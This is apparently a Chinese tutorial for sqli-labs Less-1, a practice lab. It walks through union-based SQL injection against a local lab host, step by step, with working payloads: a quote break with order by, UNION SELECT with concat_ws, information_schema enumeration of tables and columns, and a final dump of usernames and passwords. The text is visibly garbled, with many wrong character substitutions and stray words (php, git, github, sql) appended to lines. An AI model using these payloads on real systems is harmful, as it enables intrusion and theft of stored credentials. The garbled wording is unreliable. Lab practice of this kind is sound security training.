环境搭建
具体搭建请自行百度php
sqli-labs第一关



在后面输入?id=1 mysql
能够看到返回的页面出现了账户和密码,固然,你会发现改成id=2、id=3会出现不一样的账户和密码,虽然这就是咱们最终要拿到的数据,可是咱们应该经过SQL注入的方式来获得它。git
具体流程:github
- 先肯定是字符型注入仍是整型注入
像这种?id=1的,后台会将id这个变量的值接受并组合成数据库查询语句,好比这里可能会这样"select * from 表名 where id=1"若是是这样的格式,那么就说明是整型;若是是select * from 表名 where id='1',那么就是字符型。固然,通常状况下咱们是看不到源代码的,可是这里是学习,咱们就先对照源码来看看究竟是怎么处理的,关键代码:"SELECT* FROM users WHERE id='$id' LIMIT 0,1"能够看到这是字符型注入。
- 猜字段数
关键语法:order by
在变量id后面加上 order by 1
由于是字符型注入,那么"http://192.168.155.128/sqli-l... order by 1"被后台接受后,会组合成SELECT * FROM users WHERE id='1 order by 1' LIMIT 0,1,语法错误,咱们应该构形成"SELECT * FROM users WHERE id='1' order by 1#' LIMIT 0,1" 因此应该在id=后面加上1' order by 1#,也就是"http://192.168.155.128/sqli-l...' order by 1#"
回车后会发现报错了,这是由于咱们没有对url中的#
号进行url编码,使用hackerbar插件编码后"http://192.168.155.128/sqli-l...' order by 1%23",接下来就是慢慢试出它的字段数,最后会发现order by 3正常,order by 4错误,说明一共是3列。
- 经过联合查询查出当前用户,数据库名等信息
注意:此方法只是用户mysql 5.0以上版本
将url改为"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,3%23"回车后发现并无显示出数字,这是由于php中的mysql_fetch_array函数,这时候只须要把union左边的等式改成假就行,这里我把id=1改成id=-1,能够看到数字出来了
2和3这两个数字均可以用,咱们这里就使用3吧。一个一个显示太麻烦了,这里咱们能够用数据库的链接函数concat_ws,hackbar插件有现成的,使用后,url变成了"http://192.168.155.128/sqli-l...'UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),user(),database(),version())%23"
能够看到显示出了数据库名security。
- 查询数据库中的表
有了数据库名,就能够经过information_schema.tables获得表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,table_name from information_schema.tables where table_schema='security'%23" 在最后加上limit 0,1逐个猜出表名。最终获得users,固然,猜出来的其余表名也能够把里面的数据爆出来,这里咱们只须要users里的数据。
- 经过表名获得列名
经过information_schema.columns获得表名,"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,column_name from information_schema.columns where table_schema='security' and table_name='users' limit 0,1%23",而后逐个获得列名分别是id,username,password
- 枚举用户名和密码
"http://192.168.155.128/sqli-l...' UNION SELECT 1,2,CONCAT_WS(CHAR(32,58,32),id,username,password) from users limit 0,1%23"
总结
在mysql5.0以上版本中,能够经过information_schema
获取到当前数据库名,再经过数据库名拿到表名,再经过表名拿到列名,最后获得想要的数据。sql